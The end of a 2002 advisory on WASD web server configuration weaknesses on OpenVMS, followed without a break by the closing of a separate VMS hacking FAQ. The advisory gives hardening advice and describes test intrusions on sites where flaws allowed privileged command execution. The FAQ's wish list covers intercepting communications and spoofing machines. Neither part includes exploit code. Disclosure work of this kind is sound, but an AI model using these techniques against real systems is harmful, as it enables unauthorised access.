absolutely need it. If the machine hosting the web server has some untrusted users with local accounts on the machine, then forbid execution of arbitrary cgi scripts in ~untrusted/cgi-bin with a rule such as: fail /~untrusted/cgi-bin/* put _before_ the rule exec /~*/cgi-bin/* /user_disk/*/cgi-bin/* or better, block cgi access to all local users. 5.6 Never run cgi scripts under the account of a privileged user If you really need privileges in your cgi script, then force the https protocol and force user authentication. Read the WASD documents http://wasd.vsm.com.au/ht_root/doc/htd/htd_1200.html Never do user authentication without SSL (the https protocol). Do not run cgi scripts as user http$server. Strictly speaking, this account is not privileged, but since it is also used to run the main server, faulty cgi scripts can cause more harm than totally unprivileged users. If the machine hosting the web servers has untrusted local users with a ~username/cgi-bin directory, then it is preferable to either remove the ability to run scripts there, or at least run the scripts as the user. Running those scripts as user http$server lets the untrusted users do many things to the web server, such as reading the server logs if ACLs are not set correctly, or killing the main server process; it would be the equivalent of giving the additional right [http$server] to the untrusted users. 6. Examples of site weaknesses Several WASD sites were used for testing the various weaknesses. An actual intrusion was made on two systems only to check that it was indeed feasible. The system administrators were warned immediately. On other systems the presence of the vulnerabilities was checked but was not used for intrusion. 6.1 Site A The first system compromise was not entirely due to weaknesses in WASD and was only possible because of a flaw in an independent cgi script which is not part of the WASD distribution. However without the WASD vulnerabilities, the faulty script would not have been found and its source analysed to find the weakness. The system was rather well (but not perfectly) configured. But the system administrator had left a faulty script in his cgi-bin directory. The home directory was correctly protected by ACLs so even the WASD vulnerabilities didn't allow reading it. The list of scripts and their sources were supposed to be protected by the WASD configuration, but it was very easy to work around this using the "upd" and the "extract" builtin scripts as described in section 4.2.7. There was an another weakness in the WASD configuration: the script was run under the identity of the owner of the script, which was the system administrator. This account was not the predefined SYSTEM account but still had many privileges. It was then possible to remotely run any command with those privileges. The system administrator was told how the compromise was done and how to fix the server. 6.2 Site B The story is very similar, but in this case a flaw in one of the scripts provided by WASD was used. The flaw was particularly severe because the particular configuration used at this site allowed some scripts to be run under the identity of a system administrator, who had all privileges (SETPRV, which is the equivalent of root). The system administrators were warned about the flaw and fixed it immediately. 6.3 Sites C,D,E On three different sites, all directories and files were owned by the user which runs all cgi scripts. So these sites were particularly vulnerable: any flaw in a scrit can immediately lead to a SYSTEM compromise because the script has write access to everything. The system administrators have been warned and the sites have been fixed. 6.4 Almost all sites In almost all tested sites, it was very easy to get read access to important configuration files that are supposed to stay confidential, and to get the list and sources of all cgi scripts, including site specific scripts. 7. Conclusion Do not blindly believe that, if something runs on OpenVMS, then it must be secure. Common sense precautions such as not giving away the entire server tree or all script sources, and checking user input in all cgi scripts, must be taken even on OpenVMS. If you are using WASD 8.0 or earlier, fix your configuration *immediately*. Jean-loup Gailly http://gailly.net PGP or GPG key: http://jl.gailly.net/jloup.asc PGP sig: E3EC F4DF 7EDB E724 A3EC FBC2 D9A2 7D25 0196 71A7 Questions about the WASD server should be sent to its author Mark Daniel . Questions about this advisory should be sent to Jean-loup Gailly 8. Acknowledgments Thanks to Mark Daniel, author of the WASD server, for making it free software, for quickly answering to my initial report, and for working insane hours to fix all the problems I reported. Thanks to Beave and Doc Cypher for providing free accounts on their respective OpenVMS servers, for testing the proposed solutions and suggesting improvements. Thanks to Jeremy Begg for hosting the WASD demonstration server. 9. Document history - Sept. 16, 2002: draft 0.1, WASD vendor contacted - Sept. 16, 2002: draft 0.2, added section "don't run cgi as trusted user" - Sept. 19, 2002: draft 0.3 . mention the possibility of remote SYSTEM compromise . added disclosure of full physical path in 4.2.2 . added directory traversal with glist.com in 4.2.6 . added section 4.3 "CGI scripts are run under the identity of the server" - Sept. 23, 2002: CERT contacted - Sept. 25, 2002: version 1.0. Added reference to WASD advisory in 5.1 - Sept. 25, 2002: Info-WASD mailing list informed - Sept. 26, 2002: sent to Bugtraq for publication This document is available at http://jl.gailly.net/security/wasd-vuln-2002-09.txt It is provided under the policy documented at http://www.wiretrip.net/rfp/policy.html -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9kYF02aJ9JQGWcacRAiZSAJ9StmBUBUYnWC+Smnq5ZzC7EsrolQCfYeSX LVJofzQzIUzriquN6J847GM= =F2B9 -----END PGP SIGNATURE----- Resources: http://www.vistech.net/users/beave - other things I've been working on. Some VMS stuff as well (undocumented LOGINOUT.EXE calls, DEC history mirror, etc). http://manson.vistech.net/help - Access to VMS Help of DCL commands from the web. ftp://ftp.vistech.net/pub/vms - VMS archives. Filesets, Freeware VMS stuff, etc. http://manson.vistech.net - I try to keep links pretty fresh that might have information regarding VMS. ssh://bbs.vistech.net - if you like this project, you'll probably like this BBS. http://manson.vistech.net/ht_root/vms/PESOVMS.txt - "Practical Exercise Security OpenVMS". Good little read. http://axp603.gsi.de:8080/www/eng/vms/qaa/undoc.htmlx - Undocumented OpenVMS features. http://www.openvms.compaq.com/DOC/index.html - Online OpenVMS Manuals. A excellent resource. http://www.openvms.compaq.com/wizard/openvms_faq.html - A generalize (wonderful) OpenVMS FAQ. Best to answer new user questions. Final Notes: This FAQ is far from complete, and will remain in its "beta" stages for sometime. I would like to thank Tyswt for his input and great information. I got a lot of mail from a lot of people. - Things that need to be added/updates: - What we are looking for: Ways of intercepting VMS communications(through mailboxes, etc.) Passing commands via VMS mail. Disk scavenging programs(along the lines of an "UNDELETE") Xterm,Motif security Various methods of machine spoofing(via TCP/IP,LAT,etc.) File hacks with 'dump', 'patch', VFE, etc. The old VMS 4.0 shit. More information on the encryption VMS uses. Anything else we might have missed. beave@manson.vistech.net